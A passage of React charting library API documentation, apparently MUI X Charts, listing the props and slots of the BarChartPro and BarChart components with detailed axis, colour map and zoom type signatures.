func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number, zoom?: { filterMode?: 'discard' \| 'keep', maxEnd?: number, maxSpan?: number, minSpan?: number, minStart?: number, panning?: bool, slider?: { enabled?: bool, preview?: bool, showTooltip?: 'always' \| 'hover' \| 'never', size?: number }, step?: number } \| bool }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |
| zoomData | `Array<{ axisId: number \| string, end: number, start: number }>` | - | No |  |
| zoomInteractionConfig | `{ pan?: Array<'drag' \| 'pressAndDrag' \| 'wheel' \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'drag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'pressAndDrag' } \| { allowedDirection?: 'x' \| 'xy' \| 'y', pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' }>, zoom?: Array<'brush' \| 'doubleTapReset' \| 'pinch' \| 'tapAndDrag' \| 'wheel' \| { pointerMode?: any, requiredKeys?: Array<string>, type: 'wheel' } \| { pointerMode?: any, requiredKeys?: array, type: 'pinch' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'tapAndDrag' } \| { pointerMode?: 'mouse' \| 'touch', requiredKeys?: Array<string>, type: 'doubleTapReset' } \| { pointerMode?: any, requiredKeys?: array, type: 'brush' }> }` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| bar | `BarElementPath` | - | The component that renders the bar. |
| barLabel | `BarLabel` | - | The component that renders the bar label. |
| baseButton | `undefined` | - |  |
| baseDivider | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| baseMenuItem | `undefined` | - |  |
| baseMenuList | `undefined` | - |  |
| basePopper | `undefined` | - |  |
| baseTooltip | `undefined` | - |  |
| exportIcon | `ChartsExportIcon` | - | Icon displayed on the toolbar's export button. |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |
| zoomInIcon | `ChartsZoomInIcon` | - | Icon displayed on the toolbar's zoom in button. |
| zoomOutIcon | `ChartsZoomOutIcon` | - | Icon displayed on the toolbar's zoom out button. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/BarChartPro/BarChartPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/BarChartPro/BarChartPro.tsx)

---

# Source: https://mui.com/x/api/charts/bar-chart.md

# BarChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Bar demos](/x/react-charts/bar-demo/)
- [Charts - Bars](/x/react-charts/bars/)
- [Charts - Label](/x/react-charts/label/)

## Import

```jsx
import { BarChart } from '@mui/x-charts/BarChart';
// or
import { BarChart } from '@mui/x-charts';
// or
import { BarChart } from '@mui/x-charts-pro';
// or
import { BarChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | - | No |  |
| borderRadius | `number` | - | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedAxis | `Array<{ axisId: number \| string, dataIndex: number }>` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'bar' }>` | - | No |  |
| layout | `'horizontal' \| 'vertical'` | `'vertical'` | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onHighlightedAxisChange | `function(axisItems: Array<AxisItemIdentifier>) => void` | - | No |  |
| onItemClick | `function(event: React.MouseEvent<SVGElement, MouseEvent>, barItemIdentifier: BarItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'bar' }` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 